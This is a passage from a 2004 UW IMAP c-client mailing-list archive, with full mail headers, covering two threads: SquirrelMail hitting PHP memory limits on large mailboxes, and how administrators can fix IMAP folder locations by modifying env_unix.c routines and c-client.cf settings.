(8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4Q43QkD022455 for ; Tue, 25 May 2004 21:03:26 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4Q43OSq002836 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 25 May 2004 21:03:24 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4Q42qOk011964; Tue, 25 May 2004 21:02:52 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4Q41hlL097364 for ; Tue, 25 May 2004 21:01:43 -0700 Received: from hpcaz.hpcaz.com (hpcaz.hpcaz.com [69.94.33.142]) by mxu4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4Q41gxA028986 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 25 May 2004 21:01:42 -0700 Received: from hpcaz.com (localhost.localdomain [127.0.0.1]) (authenticated (0 bits)) by hpcaz.hpcaz.com (8.11.6/8.11.6) with ESMTP id i4Q3xeM21337 for ; Tue, 25 May 2004 20:59:40 -0700 Received: from 207.225.166.210 (SquirrelMail authenticated user tsmith@hpcaz.com) by www.hpcaz.com with HTTP; Tue, 25 May 2004 20:59:40 -0700 (MST) Message-Id: <19825.207.225.166.210.1085543980.squirrel@www.hpcaz.com> Date: Tue, 25 May 2004 20:59:40 -0700 (MST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Thomas Smith" To: "UW IMAP" Subject: Re: mbx performance MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __HAS_X_PRIORITY 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __HAS_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > On 4:30:58 pm 05/25/04 "Thomas Smith" wrote: >> I converted all of my mbox mailboxes to mbx. I've noticed an increase >> in performance for my web-based IMAP client. However, I continue to >> have a problem that existed prior to the conversion. >> >> As I understand it, mbx is more memory efficient than mbox. This being >> the case, shouldn't it consume less RAM while a mailbox is being read >> by an IMAP client? This doesn't seem to be happening in my situation. >> For example, I use SquirrellMail for webmail. There are system-wide >> resource restrictions on RAM usage preventing any user from utilizing >> more than 8 MB of RAM via SquirrellMail. >> >> My Sent folder would always exceed this amount when I selected "View >> All"--there are over 3700 emails stored there. I continue to get the >> error after the conversion to mbx. >> >> Am I missing something or did I misinterprete what I read? > > > The 8MB restriction in squirrelmail is the PHP limit for script > execution (php.ini setting). In the case of "show all" on 3700 messages > squirrelmail is building a header list in memory of all messages, which > combined with the other memory requirements of squirrelmail, pops the > limit. Remember that in this case the IMAP client does not care what > kind of mailbox the IMAP server uses, it uses the same commands to > retrieve information. A mailbox type with a zero memory footprint (in > terms of the IMAP server memory usage) would still not alter the amount > of memory the PHP script needs to store the fetched header values. I > recommended to the squirrelmail developers not so long ago that they > remove the "show all" links when the IMAP folder is over 500 messages, > specificly to address this type of issue. "show all" isn't the only time I've had the problem--it's also ocurred with about 400 emails. I was able to "show all" but if I tried to forward a message that contained a 1.2MB attachment SquirrellMail would generate "memory exceeded" errors. >From what you describe, SquirrellMail stored the header data of those 400 emails and when I tried to forward the 1.2MB email SquirrellMail fetched it (while retaining the 400 emails' header data in RAM) and attempted to load the additional 1.2MB into RAM--thus exceeding the 8MB limit. Sound right? From pinedev@shivax2.cac.washington.edu Tue May 25 21:14:04 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 25 May 2004 21:14:04 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4Q4E4G2022810 for ; Tue, 25 May 2004 21:14:04 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4Q4E2FP028195 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 25 May 2004 21:14:03 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4Q4DlW1012950; Tue, 25 May 2004 21:13:47 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4Q4D5j4109854 for ; Tue, 25 May 2004 21:13:05 -0700 Received: from hpcaz.hpcaz.com (hpcaz.hpcaz.com [69.94.33.142]) by mxe3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4Q4D4Ue030155 for ; Tue, 25 May 2004 21:13:04 -0700 Received: from hpcaz.com (localhost.localdomain [127.0.0.1]) (authenticated (0 bits)) by hpcaz.hpcaz.com (8.11.6/8.11.6) with ESMTP id i4Q4B1M24707 for ; Tue, 25 May 2004 21:11:02 -0700 Received: from 207.225.166.210 (SquirrelMail authenticated user tsmith@hpcaz.com) by www.hpcaz.com with HTTP; Tue, 25 May 2004 21:11:02 -0700 (MST) Message-Id: <19831.207.225.166.210.1085544662.squirrel@www.hpcaz.com> Date: Tue, 25 May 2004 21:11:02 -0700 (MST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Thomas Smith" To: "UW IMAP" Subject: Re: mbx performance MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 X-Uwash-Spam: Gauge=XIIII, Probability=14%, Report='PRIORITY_NO_NAME 0.716, SEE_FOR_YOURSELF 0.706, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __HAS_X_PRIORITY 0, __HAS_MSGID 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > Thomas Smith wrote: > >>I converted all of my mbox mailboxes to mbx. I've noticed an increase >> in performance for my web-based IMAP client. However, I continue to >> have a problem that existed prior to the conversion. >> >>As I understand it, mbx is more memory efficient than mbox. This being >> the case, shouldn't it consume less RAM while a mailbox is being read >> by an IMAP client? This doesn't seem to be happening in my situation. >> >>For example, I use SquirrellMail for webmail. There are system-wide >> resource restrictions on RAM usage preventing any user from utilizing >> more than 8 MB of RAM via SquirrellMail. >> >>My Sent folder would always exceed this amount when I selected "View >> All"--there are over 3700 emails stored there. I continue to get the >> error after the conversion to mbx. >> >>Am I missing something or did I misinterprete what I read? >> >> >> >> > why don't you see if you can use something like cyrus-imap instead of > UW-imap. I found it's much better. I started using UW when I first > started working on linux. But after a while, I learned cyrus is a much > better choice for performance and reliability. > At least that's my opinion......see for yourself. >From what other posters have written, it doesn't seem to be an IMAP server issue. Rather, it's a SquirrellMail and PHP issue. SquirrellMail is caching data in RAM and PHP's RAM restrictions are causing problems when SquirrellMail loads large mailboxes. I think a better choice for my situation would be to change webmail clients to something more efficient. Or find ways to fine tune SquirrellMail to reduce or eliminate these problems. That said, as I've posted previously on another thread, my web hosting provider uses a mixed OpenSource and proprietary setup. This makes it difficult to load "custom" software. The decision I made was to optimize what they've provided me to work with. From pinedev@shivax2.cac.washington.edu Wed May 26 08:42:39 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 26 May 2004 08:42:39 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4QFgdwN016569 for ; Wed, 26 May 2004 08:42:39 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4QFgb8E024200 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 26 May 2004 08:42:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i4QFfSVn018316; Wed, 26 May 2004 08:41:28 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i4QFeDY9015098 for ; Wed, 26 May 2004 08:40:13 -0700 Received: from mtl.mit.edu (MTL.MIT.EDU [18.62.0.45]) by mxe1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4QFeBmi004294 for ; Wed, 26 May 2004 08:40:12 -0700 Received: from mtl.mit.edu (PEABERRY.MIT.EDU [18.62.4.197]) by mtl.mit.edu (8.9.3-20030919/8.9.3) with ESMTP id LAA23414; Wed, 26 May 2004 11:40:09 -0400 (EDT) Message-Id: <40B4BA5A.40502@mtl.mit.edu> Date: Wed, 26 May 2004 11:40:10 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Thomas Lohman To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: hardwiring the IMAP folders directory In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thanks for the quick reply Mark. I believe I now have it looking in a fixed locale for folders but in testing with the Mozilla mail client and setting the IMAP Server Directory setting, I see that that overrides whatever I have fixed in the server code. i.e. if I set the client setting to /mail/folders/ then my server side setup is overridden. It looks as though the client is prepending the entire path onto each folder name and thus when the server sees it, it sees it with the entire path. Is there any way to strip away absolute folder paths at the server side so if it sees a folder /mail/folders//foo, it simply processes it as 'foo' and uses the default fixed location? thanks very much, --tom > On Tue, 25 May 2004, Thomas J. Lohman wrote: > >> Hi, forgive me if this is in the archives or has a well >> known basic solution but what I would like to do is have >> the imap server always look in a fixed location outside >> the users' home dirs for folders. > > > The answer is the routine mymailboxdir() in env_unix.c, which returns > the "home directory" as far as IMAP is concerned. Normally, it returns > the string from myhomedir() which is the UNIX home directory. But you > can change mymailboxdir() to be anything else you'd like. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed May 26 08:48:39 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 26 May 2004 08:48:39 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4QFmdN9016744 for ; Wed, 26 May 2004 08:48:39 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4QFmbmL014860 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 26 May 2004 08:48:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i4QFlD3t018338; Wed, 26 May 2004 08:47:28 -0700 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i4QFkHmv008892 for ; Wed, 26 May 2004 08:46:17 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i4QFkGNG024667 for ; Wed, 26 May 2004 08:46:16 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout5.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4QFkFZ3011085; Wed, 26 May 2004 08:46:16 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4QFkFOW018251; Wed, 26 May 2004 08:46:15 -0700 Message-Id: Date: Wed, 26 May 2004 08:46:15 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Thomas Lohman Cc: c-client@u.washington.edu Subject: Re: hardwiring the IMAP folders directory In-Reply-To: <40B4BA5A.40502@mtl.mit.edu> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 26 May 2004, Thomas Lohman wrote: > Is there any > way to strip away absolute folder paths at the server side so if it sees a > folder /mail/folders//foo, it simply processes it as 'foo' and uses > the default fixed location? The routine mailboxfile() in env_unix.c transforms a mailbox name into a file path. You can modify it to resolve the names however you want. I'm not convinced that you really want to do what you suggest, as opposed to some alternative strategy, but it's your choice. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed May 26 10:36:41 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 26 May 2004 10:36:41 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4QHafpf022422 for ; Wed, 26 May 2004 10:36:41 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4QHadjU019161 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 26 May 2004 10:36:39 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i4QHZkZq013824; Wed, 26 May 2004 10:35:46 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i4QHYfB3067922 for ; Wed, 26 May 2004 10:34:42 -0700 Received: from mtl.mit.edu (MTL.MIT.EDU [18.62.0.45]) by mxu2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4QHYeFk029450 for ; Wed, 26 May 2004 10:34:40 -0700 Received: from mtl.mit.edu (PEABERRY.MIT.EDU [18.62.4.197]) by mtl.mit.edu (8.9.3-20030919/8.9.3) with ESMTP id NAA29834; Wed, 26 May 2004 13:34:38 -0400 (EDT) Message-Id: <40B4D52E.9010309@mtl.mit.edu> Date: Wed, 26 May 2004 13:34:38 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Thomas Lohman To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: hardwiring the IMAP folders directory In-Reply-To: References: <40B4BA5A.40502@mtl.mit.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > The routine mailboxfile() in env_unix.c transforms a mailbox name into a > file path. You can modify it to resolve the names however you want. > > I'm not convinced that you really want to do what you suggest, as > opposed to some alternative strategy, but it's your choice. Thanks. Our main goal is to avoid all the NFS mounts that take place due to the fact that in our environment, all UNIX home directories are scattered across 50-60 machines. That latter fact is really unchangeable at the moment. In the past, we've had issues with machines not being accessible and thus causing problems for everyone reading their mail off of the post office server. In addition, we'd like to centralize all IMAP folders in one location so it is easier to debug problems/do restores, etc. We want to avoid the situation where Joe User is able to specify some random location to store his IMAP folders yet when there are problems with these, Joe User fails to let anyone know this fact. I am not sure what the best approach to "solving" these issues is but I am open to any ideas anyone on the list has. thanks very much, --tom From pinedev@shivax2.cac.washington.edu Wed May 26 11:03:19 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 26 May 2004 11:03:19 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4QI3Jss023552 for ; Wed, 26 May 2004 11:03:19 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4QI3HYA030082 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 26 May 2004 11:03:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i4QI2tEK013866; Wed, 26 May 2004 11:02:56 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i4QI2CbR102386 for ; Wed, 26 May 2004 11:02:12 -0700 Received: from imag.imag.fr (imag.imag.fr [129.88.30.1]) by mxu7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4QI27le025450 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Wed, 26 May 2004 11:02:09 -0700 Received: from mail-veri.imag.fr (pave.imag.fr [129.88.43.12]) by imag.imag.fr (8.12.10/8.12.10) with ESMTP id i4QI22SY019924 for ; Wed, 26 May 2004 20:02:02 +0200 (CEST) Received: from corbeau.imag.fr ([129.88.43.162] helo=corbeau.imag.fr.imag.fr ident=kowalski) by mail-veri.imag.fr with esmtp (Exim 3.35 #1 (Debian)) id 1BT2j4-00059q-00 for ; Wed, 26 May 2004 20:02:02 +0200 Message-Id: Date: Wed, 26 May 2004 20:02:01 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nicolas Kowalski To: c-client@u.washington.edu Subject: Re: hardwiring the IMAP folders directory In-Reply-To: <40B4D52E.9010309@mtl.mit.edu> (Thomas Lohman's message of "Wed, 26 May 2004 13:34:38 -0400") References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-IMAG-MailScanner: Found to be clean X-IMAG-MailScanner-Information: Please contact the ISP for more information X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thomas Lohman writes: [...] > reading their mail off of the post office server. In addition, we'd > like to centralize all IMAP folders in one location so it is easier to > debug problems/do restores, etc. We want to avoid the situation where > Joe User is able to specify some random location to store his IMAP > folders yet when there are problems with these, Joe User fails to let > anyone know this fact. [...] For my lab, I followed most of the instructions/patches found here: http://carumba.com/imap/ It worked well for me. Mes 2 cents. -- Nicolas From pinedev@shivax2.cac.washington.edu Thu May 27 07:32:31 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 27 May 2004 07:32:31 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4REWVE5009495 for ; Thu, 27 May 2004 07:32:31 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4REWTSW004162 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 27 May 2004 07:32:29 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i4REW5N2012222; Thu, 27 May 2004 07:32:05 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i4REUOaT053018 for ; Thu, 27 May 2004 07:30:24 -0700 Received: from ensc.cpsc.ucalgary.ca (ensc.cpsc.ucalgary.ca [136.159.2.4]) by mxu4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4REUMce032753 for ; Thu, 27 May 2004 07:30:22 -0700 Received: from imgw1.cpsc.ucalgary.ca (imgw1.cpsc.ucalgary.ca [136.159.5.9]) by ensc.cpsc.ucalgary.ca (8.12.10/8.12.10) with ESMTP id i4RESfLr021937; Thu, 27 May 2004 08:28:41 -0600 (MDT) Received: from ms257a.cpsc.ucalgary.ca (ms257a [136.159.4.248]) by imgw1.cpsc.ucalgary.ca (8.12.10/8.12.10) with ESMTP id i4RESepi028219; Thu, 27 May 2004 08:28:41 -0600 Received: (from arlt@localhost) by ms257a.cpsc.ucalgary.ca (8.12.6/8.12.6/Submit) id i4RESeM4001967; Thu, 27 May 2004 08:28:40 -0600 (MDT) Message-Id: <20040527142840.GF3329@ms257a.cpsc.ucalgary.ca> Date: Thu, 27 May 2004 08:28:40 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Brad Arlt To: Nicolas Kowalski Cc: c-client@u.washington.edu Subject: Re: hardwiring the IMAP folders directory In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Spam-Status: No, hits=2.9 required=6.8 X-Spam-Level: ** X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CD 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, May 26, 2004 at 08:02:01PM +0200, Nicolas Kowalski wrote: > Thomas Lohman writes: > > For my lab, I followed most of the instructions/patches found here: > > http://carumba.com/imap/ > > It worked well for me. Two caveats with that one, EMPTYPROTO should be set to use the Unix mailbox format, not MBX. And clever users may create subfolders with . as the first charactor. ----------------------------------------------------------------------- __o Bradley Arlt Security Team Lead _ \<_ arlt@cpsc.ucalgary.ca University Of Calgary (_)/(_) Las hojas de coca no es droga. Computer Science From pinedev@shivax2.cac.washington.edu Fri May 28 06:47:29 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 28 May 2004 06:47:29 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4SDlT23008680 for ; Fri, 28 May 2004 06:47:29 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4SDlRND001820 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 28 May 2004 06:47:27 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i4SDl1Jk018450; Fri, 28 May 2004 06:47:01 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i4SDjbaW102342 for ; Fri, 28 May 2004 06:45:38 -0700 Received: from imag.imag.fr (imag.imag.fr [129.88.30.1]) by mxe1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4SDjZ3D003218 for ; Fri, 28 May 2004 06:45:36 -0700 Received: from mail-veri.imag.fr (pave.imag.fr [129.88.43.12]) by imag.imag.fr (8.12.10/8.12.10) with ESMTP id i4SDjWwG012473 for ; Fri, 28 May 2004 15:45:33 +0200 (CEST) Received: from corbeau.imag.fr ([129.88.43.162] helo=corbeau.imag.fr.imag.fr ident=kowalski) by mail-veri.imag.fr with esmtp (Exim 3.35 #1 (Debian)) id 1BThfw-0000V1-00 for ; Fri, 28 May 2004 15:45:32 +0200 Message-Id: Date: Fri, 28 May 2004 15:45:32 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nicolas Kowalski To: c-client@u.washington.edu Subject: Re: hardwiring the IMAP folders directory In-Reply-To: <20040527142840.GF3329@ms257a.cpsc.ucalgary.ca> (Brad Arlt's message of "Thu, 27 May 2004 08:28:40 -0600") References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-IMAG-MailScanner: Found to be clean X-IMAG-MailScanner-Information: Please contact the ISP for more information X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Brad Arlt writes: > On Wed, May 26, 2004 at 08:02:01PM +0200, Nicolas Kowalski wrote: >> Thomas Lohman writes: >> >> For my lab, I followed most of the instructions/patches found here: >> >> http://carumba.com/imap/ >> >> It worked well for me. > > Two caveats with that one, EMPTYPROTO should be set to use the Unix > mailbox format, not MBX. And clever users may create subfolders with > . as the first charactor. Yes, that's why I wrote "most of...". More precisely: - I changed the definition of MyHomeDir in env_unix.c to /var/imap/. - configured /etc/c-client.cf on the server as: I accept the risk set disable-automatic-shared-namespaces 1 set hide-dot-files 1 set new-folder-format mbx - created mbx INBOX files in every /var/imap subdirectory. -- Nicolas From pinedev@shivax2.cac.washington.edu Fri May 28 14:33:21 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 28 May 2004 14:33:21 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu 